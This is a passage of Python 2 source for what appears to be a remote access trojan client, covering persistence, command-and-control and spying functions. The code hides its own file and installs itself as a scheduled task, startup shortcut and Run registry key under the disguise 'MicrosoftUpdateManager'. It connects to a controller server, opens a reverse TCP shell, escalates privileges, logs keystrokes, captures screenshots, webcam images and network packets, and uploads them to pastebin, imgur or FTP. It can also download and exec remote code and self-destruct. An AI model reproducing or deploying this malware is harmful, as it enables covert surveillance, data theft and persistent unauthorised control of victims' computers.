  805. try:
  806. value = self._long_to_bytes(long(self.__f__))
  807. except:
  808. value = self.__f__
  809. if os.path.isfile(value):
  810. try:
  811. if os.name is 'nt':
  812. path = value
  813. hide = subprocess.call('attrib +h {}'.format(path), shell=True) == 0
  814. else:
  815. dirname, basename = os.path.split(value)
  816. path = os.path.join(dirname, '.' + basename)
  817. hide = subprocess.call('mv {} {}'.format(value, path), shell=True) == 0
  818. if hide:
  819. if path != value:
  820. self.__f__ = bytes(self._bytes_to_long(self._upload_pastebin(path)))[-21:]
  821. return (True, path)
  822. except Exception as e:
  823. self._debug('Adding hidden file error: {}'.format(str(e)))
  824. return (False, None)
  825.  
  826. @windows
  827. @linux
  828. @darwin
  829. def _persistence_remove_hidden_file(self, *args, **kwargs):
  830. if hasattr(self, '__f__'):
  831. try:
  832. filename = self._long_to_bytes(long(self.__f__))
  833. except:
  834. filename = self.__f__
  835. if os.path.isfile(filename):
  836. try:
  837. unhide = 'attrib -h {}'.format(filename) if os.name is 'nt' else 'mv {} {}'.format(filename, os.path.join(os.path.dirname(filename), os.path.basename(filename).strip('.')))
  838. if subprocess.call(unhide, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
  839. return True
  840. except Exception as e:
  841. self._debug('Error unhiding file: {}'.format(str(e)))
  842. return False
  843.  
  844. @windows
  845. def _persistence_add_scheduled_task(self, task_name='MicrosoftUpdateManager'):
  846. if hasattr(self, '__f__'):
  847. try:
  848. value = self._long_to_bytes(long(self.__f__))
  849. except:
  850. value = self.__f__
  851. if os.path.isfile(value):
  852. tmpdir = os.path.expandvars('%TEMP%')
  853. task_run = os.path.join(tmpdir, task_name + os.path.splitext(value)[1])
  854. if not os.path.isfile(task_run):
  855. with file(task_run, 'w') as copy:
  856. copy.write(open(value).read())
  857. try:
  858. cmd = 'SCHTASKS /CREATE /TN {} /TR {} /SC hourly /F'.format(task_name, task_run)
  859. result = subprocess.check_output(cmd, shell=True)
  860. if 'SUCCESS' in result:
  861. return (True, result)
  862. except Exception as e:
  863. self._debug('Add scheduled task error: {}'.format(str(e)))
  864. return (False, None)
  865.  
  866. @windows
  867. def _persistence_remove_scheduled_task(self, task_name='MicrosoftUpdateManager'):
  868. if hasattr(self, '__f__'):
  869. try:
  870. return subprocess.call('SCHTASKS /DELETE /TN {} /F'.format(task_name), shell=True) == 0
  871. except: pass
  872. return False
  873.  
  874. @windows
  875. def _persistence_add_startup_file(self, task_name='MicrosoftUpdateManager'):
  876. if hasattr(self, '__f__'):
  877. try:
  878. value = self._long_to_bytes(long(self.__f__))
  879. except:
  880. value = self.__f__
  881. if os.path.isfile(value):
  882. try:
  883. appdata = os.path.expandvars("%AppData%")
  884. startup_dir = os.path.join(appdata, 'Microsoft\Windows\Start Menu\Programs\Startup')
  885. if not os.path.exists(startup_dir):
  886. os.makedirs(startup_dir)
  887. startup_file = os.path.join(startup_dir, '%s.eu.url' % task_name)
  888. content = '\n[InternetShortcut]\nURL=file:///%s\n' % value
  889. if not os.path.exists(startup_file) or content != open(startup_file, 'r').read():
  890. with file(startup_file, 'w') as fp:
  891. fp.write(content)
  892. return (True, startup_file)
  893. except Exception as e:
  894. self._debug('Adding startup file error: {}'.format(str(e)))
  895. return (False, None)
  896.  
  897. @windows
  898. def _persistence_remove_startup_file(self, task_name='MicrosoftUpdateManager'):
  899. if hasattr(self, '__f__'):
  900. appdata = os.path.expandvars("%AppData%")
  901. startup_dir = os.path.join(appdata, 'Microsoft\Windows\Start Menu\Programs\Startup')
  902. startup_file = os.path.join(startup_dir, task_name) + '.eu.url'
  903. if os.path.exists(startup_file):
  904. try:
  905. os.remove(startup_file)
  906. return True
  907. except:
  908. try:
  909. _ = os.popen('del {} /f'.format(startup_file)).read()
  910. return True
  911. except: pass
  912. return False
  913.  
  914. @windows
  915. def _persistence_add_registry_key(self, task_name='MicrosoftUpdateManager'):
  916. if hasattr(self, '__f__'):
  917. try:
  918. value = self._long_to_bytes(long(self.__f__))
  919. except:
  920. value = self.__f__
  921. if os.path.isfile(value):
  922. run_key = r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
  923. reg_key = OpenKey(HKEY_CURRENT_USER, run_key, 0, KEY_WRITE)
  924. try:
  925. SetValueEx(reg_key, task_name, 0, REG_SZ, value)
  926. CloseKey(reg_key)
  927. return (True, task_name)
  928. except Exception as e:
  929. self._debug('Remove registry key error: {}'.format(str(e)))
  930. return (False, None)
  931.  
  932. @windows
  933. def _persistence_remove_registry_key(self, task_name='MicrosoftUpdateManager'):
  934. if hasattr(self, '__f__'):
  935. try:
  936. key = OpenKey(HKEY_CURRENT_USER, r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS)
  937. DeleteValue(key, task_name)
  938. CloseKey(key)
  939. return True
  940. except: pass
  941. return False
  942.  
  943. @linux
  944. @darwin
  945. def _packetsniff_manager(self, seconds=30.0):
  946. if os.name is 'nt':
  947. return
  948. limit = time.time() + seconds
  949. sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
  950. while time.time() < limit:
  951. try:
  952. recv_data = sniffer_socket.recv(2048)
  953. recv_data, ip_bool = self._packetsniff_eth_header(recv_data)
  954. if ip_bool:
  955. recv_data, ip_proto = self._packetsniff_ip_header(recv_data)
  956. if ip_proto == 6:
  957. recv_data = self._packetsniff_tcp_header(recv_data)
  958. elif ip_proto == 17:
  959. recv_data = self._packetsniff_udp_header(recv_data)
  960. except: break
  961. try:
  962. sniffer_socket.close()
  963. except: pass
  964. try:
  965. output = cStringIO.StringIO('\n'.join(self.packetsniff.capture))
  966. result = self._upload_pastebin(output) if self.upload.status.is_set() else output.getvalue()
  967. task = self.packetsniff.func_name
  968. task_id= self._task(task)
  969. self._results[task_id] = {task: {time.time(): result}}
  970. except Exception as e:
  971. result = str(e)
  972. return result
  973.  
  974. @linux
  975. @darwin
  976. def _packetsniff_udp_header(self, data):
  977. try:
  978. udp_hdr = struct.unpack('!4H', data[:8])
  979. src = udp_hdr[0]
  980. dst = udp_hdr[1]
  981. length = udp_hdr[2]
  982. chksum = udp_hdr[3]
  983. data = data[8:]
  984. self.packetsniff.capture.append('|================== UDP HEADER ==================|')
  985. self.packetsniff.capture.append('|================================================|')
  986. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Source', src))
  987. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Dest', dst))
  988. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Length', length))
  989. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Check Sum', chksum))
  990. self.packetsniff.capture.append('|================================================|')
  991. return data
  992. except Exception as e:
  993. self.packetsniff.capture.append("Error in {} header: '{}'".format('UDP', str(e)))
  994.  
  995. @linux
  996. @darwin
  997. def _packetsniff_tcp_header(self, recv_data):
  998. try:
  999. tcp_hdr = struct.unpack('!2H2I4H', recv_data[:20])
  1000. src_port = tcp_hdr[0]
  1001. dst_port = tcp_hdr[1]
  1002. seq_num = tcp_hdr[2]
  1003. ack_num = tcp_hdr[3]
  1004. data_ofs = tcp_hdr[4] >> 12
  1005. reserved = (tcp_hdr[4] >> 6) & 0x03ff
  1006. flags = tcp_hdr[4] & 0x003f
  1007. flagdata = {
  1008. 'URG' : bool(flags & 0x0020),
  1009. 'ACK' : bool(flags & 0x0010),
  1010. 'PSH' : bool(flags & 0x0008),
  1011. 'RST' : bool(flags & 0x0004),
  1012. 'SYN' : bool(flags & 0x0002),
  1013. 'FIN' : bool(flags & 0x0001)
  1014. }
  1015. win = tcp_hdr[5]
  1016. chk_sum = tcp_hdr[6]
  1017. urg_pnt = tcp_hdr[7]
  1018. recv_data = recv_data[20:]
  1019. self.packetsniff.capture.append('|================== TCP HEADER ==================|')
  1020. self.packetsniff.capture.append('|================================================|')
  1021. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Source', src_port))
  1022. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Target', dst_port))
  1023. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Seq Num', seq_num))
  1024. self.packetsniff.capture.append('|{:>20} | {}\t\t |'.format('Ack Num', ack_num))
  1025. self.packetsniff.capture.append('|{:>20} | {}\t\t |'.format('Flags', ', '.join([flag for flag in flagdata if flagdata.get(flag)])))
  1026. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Window', win))
  1027. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Check Sum', chk_sum))
  1028. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Urg Pnt', urg_pnt))
  1029. self.packetsniff.capture.append('|================================================|')
  1030. return recv_data
  1031. except Exception as e:
  1032. self.packetsniff.capture.append("Error in {} header: '{}'".format('TCP', str(e)))
  1033.  
  1034. @linux
  1035. @darwin
  1036. def _packetsniff_ip_header(self, data):
  1037. try:
  1038. ip_hdr = struct.unpack('!6H4s4s', data[:20])
  1039. ver = ip_hdr[0] >> 12
  1040. ihl = (ip_hdr[0] >> 8) & 0x0f
  1041. tos = ip_hdr[0] & 0x00ff
  1042. tot_len = ip_hdr[1]
  1043. ip_id = ip_hdr[2]
  1044. flags = ip_hdr[3] >> 13
  1045. fragofs = ip_hdr[3] & 0x1fff
  1046. ttl = ip_hdr[4] >> 8
  1047. ipproto = ip_hdr[4] & 0x00ff
  1048. chksum = ip_hdr[5]
  1049. src = socket.inet_ntoa(ip_hdr[6])
  1050. dest = socket.inet_ntoa(ip_hdr[7])
  1051. data = data[20:]
  1052. self.packetsniff.capture.append('|================== IP HEADER ===================|')
  1053. self.packetsniff.capture.append('|================================================|')
  1054. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('VER', ver))
  1055. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('IHL', ihl))
  1056. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('TOS', tos))
  1057. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Length', tot_len))
  1058. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('ID', ip_id))
  1059. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Flags', flags))
  1060. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Frag Offset', fragofs))
  1061. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('TTL', ttl))
  1062. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Next Protocol', ipproto))
  1063. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Check Sum', chksum))
  1064. self.packetsniff.capture.append('|{:>20} | {}\t\t |'.format('Source IP', src))
  1065. self.packetsniff.capture.append('|{:>20} | {}\t\t |'.format('Dest IP', dest))
  1066. self.packetsniff.capture.append('|================================================|')
  1067. return data, ipproto
  1068. except Exception as e:
  1069. self.packetsniff.capture.append("Error in {} header: '{}'".format('IP', str(e)))
  1070.  
  1071. @linux
  1072. @darwin
  1073. def _packetsniff_eth_header(self, data):
  1074. try:
  1075. ip_bool = False
  1076. eth_hdr = struct.unpack('!6s6sH', data[:14])
  1077. dst_mac = binascii.hexlify(eth_hdr[0])
  1078. src_mac = binascii.hexlify(eth_hdr[1])
  1079. proto = eth_hdr[2] >> 8
  1080. self.packetsniff.capture.append('|================================================|')
  1081. self.packetsniff.capture.append('|================== ETH HEADER ==================|')
  1082. self.packetsniff.capture.append('|================================================|')
  1083. self.packetsniff.capture.append('|{:>20} | {}\t |'.format('Target MAC', '{}:{}:{}:{}:{}:{}'.format(dst_mac[0:2],dst_mac[2:4],dst_mac[4:6],dst_mac[6:8],dst_mac[8:10],dst_mac[10:12])))
  1084. self.packetsniff.capture.append('|{:>20} | {}\t |'.format('Source MAC', '{}:{}:{}:{}:{}:{}'.format(src_mac[0:2],src_mac[2:4],src_mac[4:6],src_mac[6:8],src_mac[8:10],src_mac[10:12])))
  1085. self.packetsniff.capture.append('|{:>20} | {}\t\t\t |'.format('Protocol', proto))
  1086. self.packetsniff.capture.append('|================================================|')
  1087. if proto == 8:
  1088. ip_bool = True
  1089. data = data[14:]
  1090. return data, ip_bool
  1091. except Exception as e:
  1092. self.packetsniff.capture.append("Error in {} header: '{}'".format('ETH', str(e)))
  1093.  
  1094.  
  1095. # public class methods
  1096.  
  1097. @public
  1098. def ftp():
  1099. return Client.ftp.func_dict
  1100.  
  1101. @public
  1102. def imgur():
  1103. return Client.imgur.func_dict
  1104.  
  1105. @public
  1106. def pastebin():
  1107. return Client.pastebin.func_dict
  1108.  
  1109. @security
  1110. def encryption():
  1111. try:
  1112. return Client.encryption.func_dict
  1113. except Exception as e:
  1114. return "'{}' returned error: '{}'".format(Client.encryption.func_name, str(e))
  1115.  
  1116.  
  1117. # public instance methods
  1118.  
  1119. def run(self):
  1120. try:
  1121. time.clock()
  1122. self._configure()
  1123. self._connect()
  1124. self._register()
  1125. self._reverse_tcp_shell()
  1126. except Exception as e:
  1127. return "'{}' returned error: '{}'".format(self.run.func_name, str(e))
  1128.  
  1129. def configure(self, target, **kwargs):
  1130. """
  1131. configure api keys and account details if relevant
  1132. """
  1133. try:
  1134. if hasattr(self, target) and target in ('ftp','imgur','pastebin'):
  1135. for key, value in kwargs.items():
  1136. setattr(getattr(self, target), key, value)
  1137. except Exception as e:
  1138. self._debug(str(e))
  1139.  
  1140. def connect(self, port=1337):
  1141. """
  1142. connect to the server
  1143. """
  1144. def _addr(a, b, c):
  1145. ab = json.loads(self._post(a, headers={'API-Key': b}))
  1146. ip = ab[ab.keys()[0]][0].get('ip')
  1147. print(ip)
  1148. if (ip):
  1149. return _sock(ip, c)
  1150. else:
  1151. self._debug('Invalid IPv4 address\nRetrying in 5...'.format(_))
  1152. time.sleep(5)
  1153. return _addr(a, b, c)
  1154. def _sock(x, y):
  1155. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1156. s.setblocking(True)
  1157. s.connect((x, y))
  1158. return s
  1159. try:
  1160. self._connected.clear()
  1161. self._socket = _sock('localhost', int(port)) if ___debug___ else _addr(urllib.urlopen(self._long_to_bytes(long(self.__a__))).read(), self._long_to_bytes(long(self.__b__)), int(port))
  1162. self._dhkey = self._diffiehellman()
  1163. return self._connected.set()
  1164. except Exception as e:
  1165. self._debug("connection error: '{}' - retrying in 5...".format(str(e)))
  1166. time.sleep(5)
  1167. return self.connect()
  1168.  
  1169. @command
  1170. def kill(self):
  1171. """
  1172. shutdown connection to server and exit
  1173. """
  1174. try:
  1175. self._socket.close()
  1176. self._connected.clear()
  1177. except Exception as e:
  1178. self._debug(str(e))
  1179. for t in [i for i in self._threads]:
  1180. try:
  1181. _ = self._threads.pop(t, None)
  1182. del _
  1183. except: pass
  1184.  
  1185. @command
  1186. def stop(self, target):
  1187. """
  1188. stop a job
  1189. """
  1190. try:
  1191. if hasattr(self, target):
  1192. if hasattr(getattr(self, target), 'status'):
  1193. getattr(self, target).status.clear()
  1194. if target in self._threads:
  1195. _ = self._threads.pop(target, None)
  1196. return "Job '{}' was stopped.".format(target)
  1197. else:
  1198. return "No jobs or modules found with name '{}'".format(str(target))
  1199. except Exception as e:
  1200. return "Command '{}' returned error: '{}'".format(self.stop.func_name, str(e))
  1201.  
  1202. @command
  1203. def standby(self):
  1204. """
  1205. disconnect but keep client alive
  1206. """
  1207. try:
  1208. self._socket.close()
  1209. self._connected.clear()
  1210. return self._connect()
  1211. except Exception as e:
  1212. return "Command '{}' returned error: '{}'".format(self.standby.func_name, str(e))
  1213.  
  1214. @command
  1215. def admin(self):
  1216. """
  1217. check if current user has root privileges
  1218. """
  1219. try:
  1220. return os.getuid() == 0 if os.name is 'posix' else ctypes.windll.shell32.IsUserAnAdmin()
  1221. except Exception as e:
  1222. return "Command '{}' returned error: '{}'".format(self.admin.func_name, str(e))
  1223.  
  1224. @command
  1225. def escalate(self):
  1226. """
  1227. attempt to escalate privileges
  1228. """
  1229. try:
  1230. if self._info.get('administrator'):
  1231. return "Current user '{}' has administrator privileges".format(self._info.get('username'))
  1232. if hasattr(self, '__f__') and os.path.isfile(self._long_to_bytes(long(self.__f__))):
  1233. if os.name is 'nt':
  1234. ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters='{} asadmin'.format(self._long_to_bytes(long(self.__f__))))
  1235. sys.exit()
  1236. else:
  1237. return "Privilege escalation not yet available on '{}'".format(sys.platform)
  1238. except Exception as e:
  1239. return "Command '{}' returned error: '{}'".format(self.escalate.func_name, str(e))
  1240.  
  1241. @command
  1242. def unzip(self, path):
  1243. """
  1244. unzip a compressed archive/file
  1245. """
  1246. if os.path.isfile(path):
  1247. try:
  1248. return zipfile.ZipFile(path).extractall('.')
  1249. except Exception as e:
  1250. return "Command '{}' returned error: '{}'".format(self.unzip.func_name, str(e))
  1251. else:
  1252. return "File '{}' not found".format(path)
  1253.  
  1254. @command
  1255. def help(self, cmd=None):
  1256. """
  1257. show command usage information
  1258. """
  1259. try:
  1260. if not cmd:
  1261. return '\n'.join([' {:>12}\t|\t{}'.format('USAGE',' DESCRIPTION'),
  1262. ' -------------------------------------------------------------------------------'] + ['{:>14}\t|{}'.format(self._commands[cmd].usage, self._commands[cmd].func_doc.strip('\n').strip('\t').rstrip()) for cmd in sorted(self._commands.keys())] + [' -------------------------------------------------------------------------------'])
  1263. elif cmd in self._commands:
  1264. return '\n'.join([' {:>12}\t|\t{}'.format('USAGE',' DESCRIPTION'),
  1265. ' -------------------------------------------------------------------------------'] + ['{:>14}\t|{}'.format(self._commands[cmd].usage, self._commands[cmd].func_doc.strip('\n').strip('\t').rstrip())] + [' -------------------------------------------------------------------------------'])
  1266. else:
  1267. return "Error: command '{}' not found".format(str(cmd))
  1268. except Exception as e:
  1269. return "Command '{}' returned error: '{}'".format(self.help.func_name, str(e))
  1270.  
  1271. @command
  1272. def jobs(self):
  1273. """
  1274. show current active client jobs
  1275. """
  1276. try:
  1277. return '\n'.join([' JOBS', ' -----------------------------------------------'] + [' {}{:>40}'.format(a, self._get_status(c=time.time()-float(self._threads[a].name))) for a in self._threads if self._threads[a].is_alive()]) + '\n'
  1278. except Exception as e:
  1279. return "Command 'info' returned error: '{}'".format(str(e))
  1280.  
  1281. @command
  1282. def info(self):
  1283. """
  1284. show client host machine info
  1285. """
  1286. try:
  1287. return '\n'.join([' {}{:>20}'.format('ENVIRONMENT','VARIABLES')] + [' --------------------------------'] + [' {:>13} {:>18}'.format(a,b) for a,b in self._info.items()]) + '\n'
  1288. except Exception as e:
  1289. return "Command 'info' returned error: '{}'".format(str(e))
  1290.  
  1291. @command
  1292. def network(self, target=None):
  1293. """
  1294. display the local network discovered so far
  1295. """
  1296. try:
  1297. result = []
  1298. if target in self._network:
  1299. result.extend(['{:>12}{:>12}{:>12}\t{:>12}'.format('PORT','STATE','PROTOCOL','SERVICE'),
  1300. '----------------------------------------------------------------'])
  1301. for port in self._network.get(target).get('ports').keys():
  1302. info = self._network.get(target).get('ports').get(port)
  1303. result.append('{:>12}{:>12}{:>12}\t{:>12}'.format(port, info.get('state'), info.get('protocol'), ''.join([i for i in info.get('service') if i in '''0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()+,-./:<=>?@[\]^_{|}~'''])[:20] + ''.join(['...' if len(info.get('service')) else ''])))
  1304. result.append('')
  1305. else:
  1306. if not target and len(self._network):
  1307. result.extend(['{:>12}{:>12}{:>12}\t{:>12}'.format('PORT','STATE','PROTOCOL','SERVICE'),
  1308. '----------------------------------------------------------------'])
  1309. for target in self._network:
  1310. result.append(target)
  1311. for port in self._network.get(target).get('ports').keys():
  1312. info = self._network.get(target).get('ports').get(port)
  1313. result.append('{:>12}{:>12}{:>12}\t{:>12}'.format(port, info.get('state'), info.get('protocol'), ''.join([i for i in info.get('service') if i in '''0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()+,-./:<=>?@[\]^_{|}~'''])[:20] + ''.join(['...' if len(info.get('service')) else ''])))
  1314. result.append('')
  1315. else:
  1316. return "Nothing found"
  1317. return '\n'.join(result)
  1318. except Exception as e:
  1319. return "Command '{}' returned error: '{}'".format(self.network.func_name, str(e))
  1320.  
  1321. @command
  1322. def upload(self, *args):
  1323. """
  1324. upload file/data to imgur, pastebin, or ftp
  1325. """
  1326. try:
  1327. if len(args) != 2:
  1328. return 'usage: upload <mode> <file>\nmode: ftp, pastebin, imgur\nfile: name of target file'
  1329. source = args[1]
  1330. mode = args[0].lower()
  1331. if mode not in self.upload.options:
  1332. return "Error: mode must be one of: ftp, pastebin, imgur"
  1333. try:
  1334. return getattr(self, '_upload_{}'.format(mode.lower()))(open(source, 'rb'))
  1335. except Exception as e:
  1336. return 'Upload error: {}'.format(str(e))
  1337. except Exception as e:
  1338. return "Command '{}' returned error: '{}'".format(self.upload.func_name, str(e))
  1339.  
  1340. @command
  1341. def keylogger(self):
  1342. """
  1343. log keystrokes and upload to pastebin or ftp
  1344. """
  1345. try:
  1346. if 'keylogger' not in self._threads or not self._threads['keylogger'].is_alive():
  1347. self._threads['keylogger'] = threading.Thread(target=self._keylogger_manager, name=time.time())
  1348. self._threads['keylogger'].start()
  1349. return 'Keylogger started'
  1350. else:
  1351. return 'Keylogger running {}'.format(self._get_status(float(self._threads['keylogger'].name)))
  1352. except Exception as e:
  1353. return "Command '{}' returned error: '{}'".format(self.keylogger.func_name, str(e))
  1354.  
  1355. @command
  1356. def screenshot(self):
  1357. """
  1358. capture screenshot and upload to imgur or ftp
  1359. """
  1360. try:
  1361. with mss.mss() as screen:
  1362. img = screen.grab(screen.monitors[0])
  1363. png = self._png(img)
  1364. opt = str(self.screenshot.options['upload']).lower()
  1365. result = getattr(self, '_upload_{}'.format(opt))(png) if opt in ('imgur','ftp') else self._upload_imgur(png)
  1366. return result
  1367. except Exception as e:
  1368. return "Command '{}' returned error: '{}'".format(self.screenshot.func_name, str(e))
  1369.  
  1370. @command
  1371. def persistence(self):
  1372. """
  1373. establish persistence on client to maintain access
  1374. """
  1375. try:
  1376. for method in [_ for _ in self.persistence.options if not self.persistence.options[_]]:
  1377. try:
  1378. target = '_persistence_add_{}'.format(method)
  1379. if hasattr(self, target) and sys.platform in getattr(self, target).platforms:
  1380. successful, result = getattr(self, target)()
  1381. self.persistence.options[method] = successful
  1382. task = target.strip('_')
  1383. task_id = self._task(task)
  1384. self._results[task_id] = {task: {time.time(): result}}
  1385. except Exception as e:
  1386. self._debug(str(e))
  1387. return "%d persistence methods established" % self.persistence.options.values().count(True)
  1388. except Exception as e:
  1389. return "Command '{}' returned error: '{}'".format(self.persistence.func_name, str(e))
  1390.  
  1391. @command
  1392. def packetsniff(self):
  1393. """
  1394. capture packets and upload to pastebin or ftp
  1395. """
  1396. try:
  1397. self._threads['packetsniffer'] = threading.Thread(target=self._packetsniff_manager, args=(float(self.packetsniff.options['duration']),))
  1398. self._threads['packetsniffer'].start()
  1399. return 'Packetsniffer is running'
  1400. except Exception as e:
  1401. return "Command '{}' returned error: '{}'".format(self.packetsniff.func_name, str(e))
  1402.  
  1403. @command
  1404. def results(self):
  1405. """
  1406. show all task results
  1407. """
  1408. try:
  1409. output = ['{:>33}{:>33}{:>33}{:>33}'.format('Task ID', 'Module', 'Timestamp', 'Result'), '----------------------------------------------------------------------------------------------------------------------------------------']
  1410. for task_id, task_info in self._results.items():
  1411. for task, info in task_info.items():
  1412. for timestamp, result in info.items():
  1413. result = result.replace('\n',' ')
  1414. if len(result) > 50:
  1415. result = result[:47] + '...'
  1416. output.append('{:>33}{:>33}{:>33}\t{}'.format(task_id, task, time.ctime(timestamp), result))
  1417. return '\n'.join(output)
  1418. except Exception as e:
  1419. return "Command '{}' returned error: '{}'".format(self.results.func_name, str(e))
  1420.  
  1421. @command
  1422. def selfdestruct(self):
  1423. """
  1424. self-destruct and leave no trace on disk
  1425. """
  1426. try:
  1427. self._exit = True
  1428. for method in self.persistence.options:
  1429. try:
  1430. target = 'persistence_remove_{}'.format(method)
  1431. getattr(self, target)()
  1432. except Exception as e2:
  1433. self._debug('Error removing persistence: {}'.format(str(e2)))
  1434. self._socket.close()
  1435. if hasattr(self, '__f__') and os.path.isfile(self._long_to_bytes(long(self.__f__))).read():
  1436. os.remove(self.__f__)
  1437. if '__file__' in globals():
  1438. os.remove(__file__)
  1439. for i in self._threads:
  1440. t = self._threads.pop(i, None)
  1441. except Exception as e:
  1442. self._debug("Command '{}' returned error: '{}'".format(self.selfdestruct.func_name, str(e)))
  1443. finally:
  1444. shutdown = threading.Timer(1, self._shutdown)
  1445. shutdown.start()
  1446. sys.exit(0)
  1447.  
  1448. @command
  1449. def options(self, target=None):
  1450. """
  1451. list options for command(s)
  1452. """
  1453. try:
  1454. output = ['\n{:>7}{:>23}{:>11}'.format('MODULE','OPTION','VALUE'),'-----------------------------------------']
  1455. if not target:
  1456. output.append(' encryption')
  1457. for key,val in self.encryption().items():
  1458. if key == 'status':
  1459. val = val.is_set()
  1460. output.append('{:>30} {:>10}'.format(str(key), str(val)))
  1461. for target in [attr for attr in vars(self).keys() if hasattr(getattr(self, attr), 'options') if attr != 'encryption']:
  1462. for option,value in getattr(self, target).options.items():
  1463. output.append('{:>30} {:>10}'.format(option, str(value)))
  1464. else:
  1465. if not hasattr(self, target):
  1466. return "'{}' not found".format(target)
  1467. elif not hasattr(getattr(self, target), 'options'):
  1468. return "No options found for '{}'".format(target)
  1469. else:
  1470. output.append(target)
  1471. for option,value in getattr(self, target).options.items():
  1472. output.append('{:>30} {:>10}'.format(option, str(value)))
  1473. return '\n'.join(output)
  1474. except Exception as e:
  1475. return "Command '{}' returned error: '{}'".format(self.options.func_name, str(e))
  1476.  
  1477. @command
  1478. def update(self, uri):
  1479. """
  1480. download and install client update
  1481. """
  1482. global main
  1483. try:
  1484. name = os.path.splitext(os.path.basename(uri))[0]
  1485. source = urllib2.urlopen(uri).read()
  1486. try:
  1487. source = json.loads(source)
  1488. self = main(**source)
  1489. self.start()
  1490. except:
  1491. module = imp.new_module()
  1492. exec source in module.__dict__
  1493. attributes = {arg: self._kwargs.get(arg) for arg in self._kwargs}
  1494. attributes.update({attr: getattr(self, '_{}'.format(attr)) for attr in ['results','queue','connected','socket']})
  1495. self = main(**attributes)
  1496. except Exception as e:
  1497. return "Command '{}' returned error: '{}'".format(self.update.func_name, str(e))
  1498.  
  1499. @command
  1500. def set(self, arg):
  1501. """
  1502. set client options
  1503. """
  1504. try:
  1505. target, _, opt = arg.partition(' ')
  1506. option, _, val = opt.partition('=')
  1507. if not hasattr(self, target) or target not in self._commands:
  1508. return "command '{}' not found".format(target)
  1509. if not hasattr(getattr(self, target), 'options'):
  1510. return "command '{}' has no options".format(target)
  1511. if option not in getattr(self, target).options:
  1512. return "Option '{}' not found for target '{}'".format(option, target)
  1513. if val.isdigit() and int(val) in (0,1):
  1514. val = bool(int(val))
  1515. elif val.isdigit():
  1516. val = int(val)
  1517. elif val.lower() in ('true', 'on', 'enable'):
  1518. val = True
  1519. elif val.lower() in ('false', 'off', 'disable'):
  1520. val = False
  1521. elif ',' in val:
  1522. val = val.split(',')
  1523. getattr(self, target).options[option] = val
  1524. except Exception as e:
  1525. return "Command '{}' returned error: '{}'".format(self.set.func_name, str(e))
  1526. return self.options(target.lower())
  1527.  
  1528. @command
  1529. def scan(self, arg):
  1530. """
  1531. port scanner - modes: host, ports, network
  1532. """
  1533. try:
  1534. if not hasattr(self, '_services'):
  1535. self._services = self._get_services()
  1536. if len(arg.split()) == 1:
  1537. host = self._get_host()['private']
  1538. if arg == 'network':
  1539. mode = 'network'
  1540. elif arg == 'host':
  1541. mode = 'host'
  1542. elif arg == 'ports':
  1543. mode = 'ports'
  1544. else:
  1545. return "usage: scan <mode> <ip>\nmode: network, host, ports"
  1546. else:
  1547. mode, _, host = arg.partition(' ')
  1548. if mode not in ('host', 'ports', 'network'):
  1549. return "usage: scan <mode> <ip>\nmode: network, host, ports"
  1550. if not self._is_ipv4_address(host):
  1551. return "Invalid target IP address"
  1552. if mode == 'network':
  1553. return self._scan_subnet(host)
  1554. elif mode == 'host':
  1555. if self._ping(host):
  1556. self._network[host] = {'ports': {}}
  1557. return "{} is online".format(host)
  1558. elif mode == 'ports':
  1559. self._scan_all_ports(host)
  1560. return self.network(target=host)
  1561. else:
  1562. return "usage: scan <mode> <ip>\nmode: network, host, ports"
  1563. except Exception as e:
  1564. return "Command '{}' returned error: '{}'".format(self.scan.func_name, str(e))
  1565.  
  1566. @command
  1567. def webcam(self, args=None):
  1568. """
  1569. capture from webcam and upload to imgur, pastebin, ftp
  1570. """
  1571. try:
  1572. port = None
  1573. if not args:
  1574. if self.webcam.options['image']:
  1575. mode = 'image'
  1576. elif self.webcam.options['video']:
  1577. mode = 'video'
  1578. else:
  1579. return "usage: webcam <mode> [options]"
  1580. else:
  1581. args = str(args).split()
  1582. mode = args[0].lower()
  1583. if 'image' in mode:
  1584. mode = 'image'
  1585. elif 'video' in mode:
  1586. mode = 'video'
  1587. elif 'stream' in mode:
  1588. mode = 'stream'
  1589. if len(args) != 2:
  1590. return "Error - stream mode requires argument: 'port'"
  1591. port = args[1]
  1592. else:
  1593. return "usage: webcam <mode> [options]"
  1594. result = getattr(self, '_webcam_{}'.format(mode))(port=port)
  1595. except Exception as e:
  1596. return "Command '{}' returned error: '{}'".format(self.webcam.func_name, str(e))
  1597.  
  1598. @command
  1599. def ps(self, args=None):
  1600. """
  1601. list, search, or kill processes
  1602. """
  1603. try:
  1604. if not args:
  1605. return '\n'.join(i for i in self._get_process_list())
  1606.  
  1607. cmd, _, arg = str(args).partition(' ')
  1608.  
